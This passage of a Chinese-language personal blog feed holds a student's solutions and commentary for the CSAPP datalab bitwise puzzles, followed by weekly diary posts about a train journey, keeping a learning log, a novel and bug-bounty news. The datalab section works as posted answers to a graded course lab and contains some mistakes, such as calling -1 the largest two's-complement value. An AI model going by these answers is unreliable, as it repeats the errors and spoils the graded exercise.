&lt;p&gt;也是比较简单的一题，对于补码表示下的计算1000...000即代表最小的补码整数，故只需将1（000...1)左移对应的位数&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;isTmax&lt;/p&gt;
&lt;p&gt;- 若 x 是最大的补码数，返回 1；否则返回 0。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;合法运算符：! ~ &amp;#x26; ^ | + 。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;最大操作数：10 。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;难度评级：1 。&lt;/p&gt;
&lt;p&gt;我的解答：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;int isTmax(int x) {
  return !(x^0x7fffffff);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最大的补码数，自然是-1（1111....1),但这里不能用if语句，判断相等，从而想到异或，那么再借助!运算即可&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;allOddBits&lt;/p&gt;
&lt;p&gt;- 若字中所有奇数位都设置为 1，则返回 1，位的编号从 0（最低有效位）到 31（最高有效位）。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;示例：allOddBits (0xFFFFFFFD) = 0，allOddBits (0xAAAAAAAA) = 1 。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;合法运算符：! ~ &amp;#x26; ^ | + &amp;#x3C;&amp;#x3C;&gt;&gt; 。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;最大操作数：12 。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;难度评级：2 。&lt;/p&gt;
&lt;p&gt;我的解答：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;int allOddBits(int x) {
  return !((x^0xAAAAAAAA)&amp;#x26;0xAAAAAAAA);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在这里其实和上题思路差不多，用异或来给出它的奇数位是什么状态，再用&amp;#x26;判断奇数位是否，所以直接与题干的(0xAAAAAAAA)比较即可&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;negate&lt;/p&gt;
&lt;p&gt;- 返回 -x 。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;示例：negate (1) = -1 。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;合法运算符：! ~ &amp;#x26; ^ | + &amp;#x3C;&amp;#x3C;&gt;&gt; 。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;最大操作数：5 。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;难度评级：2 。&lt;/p&gt;
&lt;p&gt;难度评级：2 。&lt;/p&gt;
&lt;p&gt;我的解答：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;int negate(int x) {                             
    return ~x+1;                           
}  
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;采用取反+1求补码即可，应该是最简单的一道&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;isAsciiDigit&lt;/p&gt;
&lt;p&gt;- 若 0x30 &amp;#x3C;= x &amp;#x3C;= 0x39（即字符 &apos;0&apos; 到 &apos;9&apos; 的 ASCII 码），返回 1。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;示例：isAsciiDigit (0x35) = 1，isAsciiDigit (0x3a) = 0，isAsciiDigit (0x05) = 0 。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;合法运算符：! ~ &amp;#x26; ^ | + &amp;#x3C;&amp;#x3C;&gt;&gt; 。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;最大操作数：15 。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;难度评级：3 。&lt;/p&gt;
&lt;p&gt;别人的解答:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;int lower = (x + (~0x30 + 1)) &gt;&gt; 31;  // 如果 x &amp;#x3C; 0x30，lower 为 -1，否则为 0
    int upper = (0x39 + (~x + 1)) &gt;&gt; 31; // 如果 x &gt; 0x39，upper 为 -1，否则为 0
    return!(lower | upper);         // 当 lower 和 upper 都为 0 时，结果为 1，否则为 0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;没有想出来，参考了一下他人的解法，已经成为csapp上教授所说的学术欺骗了...这里最主要的是范围表示，如何表达出两种界限。以及提醒我是可以设置变量的来着...写上面一直在return上写有点昏头了&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;conditional&lt;/p&gt;
&lt;p&gt;- 功能等同于 x ? y : z 。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;示例：conditional (2, 4, 5) = 4 。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;合法运算符：! ~ &amp;#x26; ^ | + &amp;#x3C;&amp;#x3C;&gt;&gt; 。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;最大操作数：16 。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;难度评级：3 。&lt;/p&gt;
&lt;p&gt;我的解答：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;int is0 = !(!(x^0x00000000)); 
  is0 = ~is0 + 1;
  int a = y&amp;#x26;(is0);
  int b = z&amp;#x26;(~(!(is0))+1);
  return a^b;    
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;经典的三目运算符，x为条件，x为真选择y，x为假选择z，那么首先需要判断x是否为0，非0时即会被判断为true，借助3t的思路来判断，最后需要选择，由于与0&amp;#x26;的始终为0，这里我们可以用^来表示加法，并且我们需要拿到-1来做&amp;#x26;运算，所以选择了两次求补，不过感觉我这个代码又丑又难懂...(老是记不住运算顺序，于是&lt;s&gt;谨慎&lt;/s&gt;菜菜的加上了小括号)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;isLessOrEqual&lt;/p&gt;
&lt;p&gt;- 若 x &amp;#x3C;= y ，返回 1；否则返回 0。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;示例：isLessOrEqual (4, 5) = 1 。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;合法运算符：! ~ &amp;#x26; ^ | + &amp;#x3C;&amp;#x3C;&gt;&gt; 。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;最大操作数：24 。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;难度评级：3 。&lt;/p&gt;
&lt;p&gt;别人的解答：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;int isLessOrEqual(int x, int y) {
    int sign_x = (x &gt;&gt; 31) &amp;#x26; 1;  // 获取 x 的符号位
    int sign_y = (y &gt;&gt; 31) &amp;#x26; 1;  // 获取 y 的符号位
    int diff = y + (~x + 1);  // 计算 y - x，使用补码运算
    int sign_diff = (diff &gt;&gt; 31) &amp;#x26; 1;  // 获取 y - x 的符号位
 // 当 x 和 y 符号相同时，根据 y - x 的符号位判断大小
    int same_sign =!(sign_x ^ sign_y); 
    int case1 = same_sign &amp;#x26; (!sign_diff); 
   // 当 x 为负，y 为正，x &amp;#x3C; y
    int case2 = sign_x &amp;#x26; (!sign_y); 
    return case1 | case2; 
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;判断是否相等，那就判断两者相减后异或的符号位是否为0，然后卡在了如何区分相等和小于的情况，苦耗无果后再次cheat...于是再次学到了一些有用的符号位比较小技巧&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;logicalNeg&lt;/p&gt;
&lt;p&gt;- 除！以外，使用所有合法运算符实现！运算符功能。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;示例：logicalNeg (3) = 0，logicalNeg (0) = 1 。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;合法运算符：~ &amp;#x26; ^ | + &amp;#x3C;&amp;#x3C;&gt;&gt; 。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;最大操作数：12 。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;难度评级：4 。&lt;/p&gt;
&lt;p&gt;我的解答：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;int logicalNeg(int x) {    
  int neg = ~x + 1;
  int nsign = (neg &gt;&gt; 31)&amp;#x26;1;
  int sign = (x&gt;&gt;31)&amp;#x26;1;
  return (nsign | sign)&amp;#x26;1;                    
}   
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里主要是如何区分0和其它数，想到0^0依然为0，而非0时一个数正负数的符号位肯定是不一致的（其实感觉和上道题有点类似），那么我们只需要判断这个数取-后右移31位后是否相等即可，感觉没上道难度大，当然，也是上一道让我明白了这一道怎么做，也算触类旁通（？&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;howManyBits&lt;/p&gt;
&lt;p&gt;- 返回以补码形式表示 x 所需的最少位数。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;示例：howManyBits (12) = 5，howManyBits (298) = 10，howManyBits (-5) = 4，howManyBits (0) = 1，howManyBits (-1) = 1，howManyBits (0x80000000) = 32 。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;合法运算符：! ~ &amp;#x26; ^ | + &amp;#x3C;&amp;#x3C;&gt;&gt; 。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;最大操作数：90 。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;难度评级：4 。&lt;/p&gt;
&lt;p&gt;我的解答：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;int howManyBits(int x) {
    int sign = x &gt;&gt; 31;
    int y = (sign &amp;#x26; ~x) | (~sign &amp;#x26; x);
    int b16 = (!(!(y&gt;&gt;16)))&amp;#x3C;&amp;#x3C;4;
    y = y &gt;&gt; b16;
    int b8 = (!(!(y&gt;&gt;8)))&amp;#x3C;&amp;#x3C;3;
    y = y &gt;&gt; b8;
    int b4 = (!(!(y&gt;&gt;4)))&amp;#x3C;&amp;#x3C;2;
    y = y &gt;&gt; b4;
    int b2 = (!(!(y&gt;&gt;2)))&amp;#x3C;&amp;#x3C;1;
    y = y &gt;&gt; b2;
    int b1 = (!(!(y&gt;&gt;1)));
    y = y &gt;&gt; b1;
    int b0 = y;
    return b16 + b8 + b4 + b2 + b1 + b0 + 1;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;想了特别久，中间甚至隔了一天，最后在其它地方看到一个跟二分有关的东西想起来这个地方可以用二分尝试一下，写完最激动的一集，这就是顿悟的魅力啊，另外，符号位真的是比较判断很重要的一环，没有思路取下符号位看一看&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;floatScale2&lt;/p&gt;
&lt;p&gt;- 返回表达式 2*f 的位级等效值，f 为浮点参数。参数和结果均以 unsigned int 形式传递，但需将它们解释为单精度浮点值的位级表示。当参数为 NaN 时，返回该参数。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;合法运算符：任何整数 / 无符号整数运算，包括 ||、&amp;#x26;&amp;#x26;，以及 if、while 。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;最大操作数：30 。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;难度评级：4 。&lt;/p&gt;
&lt;p&gt;我的解答：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt; unsigned int sign = uf &gt;&gt; 31;
    unsigned int exp = (uf &gt;&gt; 23) &amp;#x26; 0xFF;
    unsigned int frac = uf &amp;#x26; 0x7FFFFF;

    if (exp == 0xFF) {
        return uf;
    } else if (exp == 0) {
        frac &amp;#x3C;&amp;#x3C;= 1;
        return (sign &amp;#x3C;&amp;#x3C; 31) | (exp &amp;#x3C;&amp;#x3C; 23) | frac;
    } else {
        exp++;
        return (sign &amp;#x3C;&amp;#x3C; 31) | (exp &amp;#x3C;&amp;#x3C; 23) | frac;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;解除封印后的第一题，然后就卡住了，最主要是没有读懂题，gpt给我详细解释了要干吗之后已经相当于是给了思路了，本质上这里就是要理解浮点数的组成，然后按照模拟的思路来做就可以了&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;floatFloat2Int&lt;/p&gt;
&lt;p&gt;- 返回表达式 (int) f 的位级等效值，f 为浮点参数。参数以 unsigned int 形式传递，但需将其解释为单精度浮点值的位级表示。任何超出范围的值（包括 NaN 和无穷大）应返回 0x80000000u。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;合法运算符：任何整数 / 无符号整数运算，包括 ||、&amp;#x26;&amp;#x26;，以及 if、while 。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;最大操作数：30 。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;难度评级：4 。&lt;/p&gt;
&lt;p&gt;别人的解答：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;int floatFloat2Int(unsigned uf)
{
  unsigned sign = (uf &amp;#x26; 0x80000000);
  unsigned exp = (uf &gt;&gt; 23) &amp;#x26; 0xff;
  unsigned real = (uf &amp;#x26; 0x7fffff) | (1 &amp;#x3C;&amp;#x3C; 23);
  unsigned t;
  uf = uf &amp;#x26; 0x7fffffff;

  if (exp &amp;#x3C; 127) // uf &amp;#x3C; 1.0
    return 0;
  if (exp &gt;= 150) // we can keep all 23 frac
  {
    t = exp - 150;
    if (t &amp;#x3C; 8) // round(uf) is in int range, and we can put no more than 7 zeros after real
    {
      real = real &amp;#x3C;&amp;#x3C; t;
      return (sign == 0) ? real : (-real);
    }
    return 0x80000000; // out of range, we can&apos;t put more than 7 zeros after real
  }
  real = real &gt;&gt; (150 - exp); // the last serval bits of frac should be thrown
  return (sign == 0) ? real : (-real);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;尝试改了很久，但依旧对于0x80000000这组数据过不去，最终和解，最后发现一个if的条件搞反了还没检查出来...结果改完还是过不了，红温的我最后继续选择cheat。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;floatPower2&lt;/p&gt;
&lt;p&gt;- 返回表达式 2.0^x 的位级等效值，x 为任意 32 位整数。返回的无符号值应与单精度浮点数 2.0^x 具有相同的位表示。若结果太小，无法表示为非规格化数，则返回 0；若太大，则返回 + INF。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;合法运算符：任何整数 / 无符号整数运算，包括 ||、&amp;#x26;&amp;#x26;，以及 if、while 。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;最大操作数：30 。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;难度评级：4 。&lt;/p&gt;
&lt;p&gt;我的解答：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt; int exp = x + 127;
  if (1 &amp;#x3C;= exp &amp;#x26;&amp;#x26; exp &amp;#x3C;= 254) 
    return exp &amp;#x3C;&amp;#x3C; 23;
  else if (exp &gt;= 255) 
    return 0x7f800000;
  else 
  {
    if (x &gt;= -149)
      return 1 &amp;#x3C;&amp;#x3C; (149 + x);
    else
      return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;浮点数3道题都在考对于阶码，尾数，符号位的理解，如果用平常的题来比喻的话，它其实就是大模拟，重要的是理解哪些位的作用，以及是如何转换的&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;​&lt;/p&gt;
&lt;h1&gt;cry的datalab做后总结：&lt;/h1&gt;
&lt;p&gt;兜兜转转做了3天左右（从早做到晚，做不出来就去打打thm，看会儿书缓缓，实在做不出来的最后红温了就只能cheat了），浮点数是最耗费时间的点，反反复复看了讲述结构的视频5、6次，调试代码也调了很久，虽然最终这里面还是有好几道题参考了他人的代码，形成了课程里所说的cheat行为，但以我告别1学期代码的水平写到这里我已经很满足了。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pub-11a3e27e8dec4fa7bab83c25fdffb297.r2.dev/datalab.png&quot; alt=&quot;完结撒花（&quot;&gt;&lt;/p&gt;
&lt;p&gt;datalab感觉重在如何去利用加减溢出的性质以及转换来做题，位运算这玩意儿，我写完这一些后是真不想碰了，&lt;s&gt;不会真有人喜欢位运算做这些函数吧&lt;/s&gt;,以及CSAPP不愧是CMU的镇系神课，最简单的lab都将我折磨的如此不像样，很难想象未来我会经历些什么😭。&lt;/p&gt;
&lt;p&gt;好了，话尽于此，向bomb lab进发!&lt;/p&gt;&lt;div class=&quot;sidenote-footnotes&quot;&gt;&lt;hr&gt;&lt;h4&gt;Notes&lt;/h4&gt;&lt;ol&gt;&lt;li id=&quot;fn-1&quot;&gt;[1] ~x)&amp;#x26;y)&amp;#x26;(~(x&amp;#x26;(~y&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;</content:encoded><category>学习</category></item><item><title>Memos 2:-路漫漫其修远兮</title><link>https://cry4o4n0tfound.cn/blog/memos-2-%E8%B7%AF%E6%BC%AB%E6%BC%AB%E5%85%B6%E4%BF%AE%E8%BF%9C%E5%85%AE/</link><guid isPermaLink="true">https://cry4o4n0tfound.cn/blog/memos-2-%E8%B7%AF%E6%BC%AB%E6%BC%AB%E5%85%B6%E4%BF%AE%E8%BF%9C%E5%85%AE/</guid><pubDate>Tue, 14 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;高铁逃难记：&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;如果每个人都是如此密不透风，你怎么会对别人有所了解呢？&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;本周终于度过漫长期末周逃离了长沙，但由于机票太过昂贵略显不值（结果它背刺我，在前一天降到了200多😭），于是选择了久违的高铁。结果一上高铁发现座位是面对面的，一度让我怀疑自己坐的是火车，但这里就是长沙南站而不是长沙火车站啊！面对面的高铁设置一点都不合理！我不想和别人对视，被别人看到自己睡觉流口水该多丢脸！（结果睡觉的时候好像真流了一点点，还好每次都会在这个时候惊醒）&lt;/p&gt;
&lt;p&gt;G2161，是高铁编号啊，为什么能分到这种餐车上，rnm，退钱...我坐在位置上发了好久呆，直到邻座的同学到来。对座的哥们一幅没睡醒的样子(早上8点的车，倒也正常，换平时也该在早8上昏昏欲睡了），眼神涣散，也不知道和我对上眼神没。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pub-11a3e27e8dec4fa7bab83c25fdffb297.r2.dev/B02-1.JPG&quot; alt=&quot;简易桌子，旺仔牛奶是帮旁边同学搬行李给的&quot;&gt;&lt;/p&gt;
&lt;p&gt;事已至此，也只好躺在椅子上，闭上眼睛，希望一觉睡到结束。&lt;/p&gt;
&lt;p&gt;可惜现实总是残酷的。不一会儿，隔壁abc座上坐满了小朋友和他们的妈妈，我知道——这场旅途注定不会平静了。果不其然，小朋友们全程发挥着他们的活力，与我们邻座4个，和他们对座3个死气沉沉只想睡觉的大学生形成了鲜明对比：吃饭时将包装袋rua来rua去，时不时在过道上穿行，大声讨论着他们的期末考试——顺便让我知道了小男孩语文考了100，真为他感到高兴（才怪）。：（&lt;/p&gt;
&lt;p&gt;觉是睡不下去了。打开了预下载的《罗杰疑案》，没浏览多久便昏昏沉沉，提不起劲来分析案件，只好东瞅瞅西望望，想找一点能让自己打起精神的东西。&lt;/p&gt;
&lt;p&gt;突然发现隔壁在看环太平洋，今夕是何年？可能东张西望太过明显，隔壁也发现了我在看她在看什么。于是她取下耳机，好奇地问我看过这部嘛。当然看过，我心里暗自嘀咕，这玩意儿我初中甚至特意买了实体书，谁中学时代能抵挡炫酷机甲的诱惑呢？恰逢乘务员来查学生票，于是掏出了hnu的学生证。诶，巧的是隔壁也是hnu的学生证，这下算是真遇到校友了。对面当然也看到了我的学生证，俗话说，老乡见老乡，两眼泪汪汪。虽然不是老乡，但在四周被陌生人包围的此时此刻，校友身份的确能驱散不少陌生感，缓解面对面坐下的尴尬。于是在校友身份的加持下，顺理成章地和邻座聊起了天，得知同为23级，并且饱受大物等课程折磨的经历，顿觉人都是相似的——至少现在是。零零散散地聊着对hnu的各种吐槽，睡意顿时消了不少，就连旁边的小朋友都看起来和蔼了许多（也许是我现在也成了噪音制造者的缘故吧🤔）。&lt;/p&gt;
&lt;p&gt;不过也没有聊多久，毕竟高铁车厢内聊天声音还是挺明显的，为了不打扰车厢内其余睡觉的人，很快我们就又回到了各自的节奏中，她继续看起了电影，而我则翻开了网文——这玩意儿确实提神多了...&lt;/p&gt;
&lt;p&gt;但这场简短的聊天依旧惹人思考。素不相识的陌生人，从来只是需要一个契机来打开话匣。返乡的大学生们往往坐上高铁便是戴上耳机，安安静静地沉浸于自己的世界内，与世隔绝。我本人也很喜欢这种安静的状态，但回想时总觉得缺了点什么，大概是小时候看到李娟、阿城等人描述的火车与我现在经历的截然不同——类似的动车在书上都是热热闹闹的，车上的人也是十分热情的。对比之下，心里多少会有点失落的感觉。诚然，如果真把我放在那样的环境下，可能记述在本模块的，就全是吐槽了，但人总是对没有经历过的东西抱有希冀，带有不切实际的幻想。&lt;/p&gt;
&lt;p&gt;就容许我再幻想幻想吧。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pub-11a3e27e8dec4fa7bab83c25fdffb297.r2.dev/B02-2.PNG&quot; alt=&quot;到底怎样才算了解呢？&quot;&gt;&lt;/p&gt;
&lt;p&gt;动车速度一日比一日快，坐在动车上人们的心却一日比一日远了。再难以复刻“老乡认老乡，两眼泪汪汪”的剧情。每个人都是密不透风的当下，我们怎么才能互相了解呢？&lt;/p&gt;
&lt;h2&gt;路漫漫其修远兮：&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;路漫漫其修远兮，吾将上下而求索&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;我小学时期下过一种很有意思的棋，叫做数棋，大致规则就是通过加减乘除运算像跳棋一般跳来跳去，然后全部到达对方的大本营就算胜利，那个时候钻研排兵布阵就能折腾整个周末，甚至自己和自己对下，每一步力求最好。不过放到现在，我估计不到半小时就腻了。究其原因，现在的我早已对它失去了兴趣，很难把精力投入其中。&lt;/p&gt;
&lt;p&gt;所以我一直认为兴趣才是驱使人前进的核心动力。然而兴趣本身不一定持久，需要外在的帮助来增长保质期，对于小时候的我而言，下数棋可以去参加比赛&lt;s&gt;逃课&lt;/s&gt;获奖,这就是当时的“保质期”，而现如今对于学习的“保质期”，&lt;strong&gt;记录&lt;/strong&gt;或许是一个不错的选择。&lt;/p&gt;
&lt;p&gt;其实我们做事情的热度大多来源于过程或结果中的反馈，应试教育能如此牢靠，也得多亏它牢不可破的分数制度，“考考考，老师的法宝；分分分，学生的命根。”，当分数成为一切反馈时，自然就很难摆脱它了。但这显然是病态的，缺失了一次好的分数反馈，很容易引起心情的崩塌，进而引发一系列连锁反应。相较而言，&lt;strong&gt;记录&lt;/strong&gt;自己每周的变化会更显合理，我并不需要分数或者考试来作为反馈证明我自己，我只想平实地记录下每一天（周）小小的变化，反馈给未来的自己。不给未来自己太大压力，希望他能带着这份反馈持之以恒地走下去。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pub-11a3e27e8dec4fa7bab83c25fdffb297.r2.dev/B02-3.JPG&quot; alt=&quot;推上从微博转来的言论，其实与本文无太大关系，仅作分享&quot;&gt;&lt;/p&gt;
&lt;p&gt;这一想法也来源于本周阅览了肖神的&lt;a href=&quot;https://github.com/Kiprey/Skr_Learning&quot;&gt;&lt;u&gt;天问之路&lt;/u&gt;&lt;/a&gt;。读完的第一感觉是震撼——148周的学习，基本都维持和安全相关，背后的热爱难以想象。相较而言，我能做到148周往上还依旧热爱的事，可能只有&lt;s&gt;吃饭&lt;/s&gt;。&lt;/p&gt;
&lt;p&gt;因此这对于我本人来说也是一场前所未有的尝试。虽然基本不可能做到在2年后达到学长一般的高度，但决定做一件事对我而言从来不是因为别人做到了，而是我想去做，我也想看一看自己究竟能做到什么地步，从本周起，我会效仿天问之路建立属于自己的github仓库，来&lt;strong&gt;记录&lt;/strong&gt;此后的每一周。期望2年后的我回望此篇blog时，不会存在太多遗憾。&lt;/p&gt;
&lt;p&gt;“既然选择了远方，便只顾风雨兼程。”汪国真的诗用在这里再恰当不过了——热爱生命，就该是选择自己感兴趣的事，再坚持到底做下去。&lt;/p&gt;
&lt;h2&gt;山茶文具店：&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;从前的日色变得慢，车、马、邮件都慢&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;本周在读《山茶文具店》，日本作家总是能以平淡地笔触描绘出细腻的生活（当然，这与译者也有很大联系），让人在不经意间感受到生活本身所带来的美好。&lt;/p&gt;
&lt;p&gt;我一直觉得写信是一件非常浪漫的事，文字本身就够浪漫了。再将自己的心事付诸于笔端，更是浪漫到了极点，时光总会老去，但留在信纸上的却是永远的感动。&lt;/p&gt;
&lt;p&gt;而《山茶文具店》讲述的就是写信的故事，女主作为代笔，帮助每一个到店中的人写信。13个故事中，存在思念、分手、借钱，都是些看似鸡毛蒜皮的小事，但交织在一起，便是生活，是那些进店寻求代笔写信人的生活，也是女主雨宫鸠子的生活。&lt;/p&gt;
&lt;p&gt;看着信件中懊悔的语句时，我也在想，要是能多沟通一点，耐心一点，是不是就不会有那么多遗憾了呢？&lt;/p&gt;
&lt;p&gt;这很难评判。不过可以借书中的一句话来讲：“与其苦苦追寻失去的东西，还不如好好珍惜眼前拥有的东西。希望有朝一日，能笑着谈论今天。”&lt;/p&gt;</content:encoded><category>week</category></item><item><title>Memos 1:-网安正在“蒸蒸日上”</title><link>https://cry4o4n0tfound.cn/blog/memos-1-%E7%BD%91%E5%AE%89%E6%AD%A3%E5%9C%A8%E8%92%B8%E8%92%B8%E6%97%A5%E4%B8%8A/</link><guid isPermaLink="true">https://cry4o4n0tfound.cn/blog/memos-1-%E7%BD%91%E5%AE%89%E6%AD%A3%E5%9C%A8%E8%92%B8%E8%92%B8%E6%97%A5%E4%B8%8A/</guid><pubDate>Tue, 07 Jan 2025 23:54:43 GMT</pubDate><content:encoded>&lt;h2&gt;网安正在“蒸蒸日上”：&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;这是最好的时代，这是最坏的时代。&lt;/p&gt;
&lt;p&gt;​                                                                                                                                                            --《双城记》&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;本周接触到最有意思的消息莫过于thm群主的漏洞终于发了出来，21岁，专升本，&lt;a href=&quot;https://mp.weixin.qq.com/s/xE8-dSzIwY07GjJD3Py4Jg&quot;&gt;6w刀的漏洞&lt;/a&gt;,网安人的幻想时间（&lt;/p&gt;
&lt;p&gt;不过可能这个幻想都压根不存在😇，毕竟“所谓”正统网安的科班现在大概率学完了大物等一系列基础课程，等待下学期拥抱崭新的计网，开始了解tcp的三次握手…然而差不多的年龄，人家即将拿到微软的6w刀。从侧面证明了网安得从大专抓起这一深刻的理念，而985的网安专业，据身边统计学这一&lt;s&gt;可靠&lt;/s&gt;统计，百分之90都不从事安全。简单下个总结，做安全死路一条。（至少对于大多数985的学生来说，做安全这一行当真的不如去酒吧舞）
另外一条“做安全死路一条”的论证来自于市场对于安全的需求。由于微软认为他将漏洞有关的截图发布到网上，6w刀被取消掉了，这颇有赖账之嫌。也许是为了证明赖账并非偶然，更多的旧账被翻了出来——众多漏洞挖掘却没有得到应有报酬的帖子遭遇洛阳铲。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pub-11a3e27e8dec4fa7bab83c25fdffb297.r2.dev/%E4%B8%80%E5%91%A8%E5%B0%8F%E8%AE%B01-1.JPG&quot; alt=&quot;苹果也干了&quot;&gt;&lt;/p&gt;
&lt;p&gt;众所周知，买保险大多数时候被称作“花钱买平安”。但一般搞互联网的这帮人往往胆子一个比一个大，本着能省就省的核心价值观，在漏洞没有造成真正损失前，一切都是安全的。当然，上述不过是玩笑话，其实互联网公司一个比一个注重安全，毕竟漏洞泄露用户隐私这种事情一旦被曝，明天它股价大概率也跟着爆了。&lt;/p&gt;
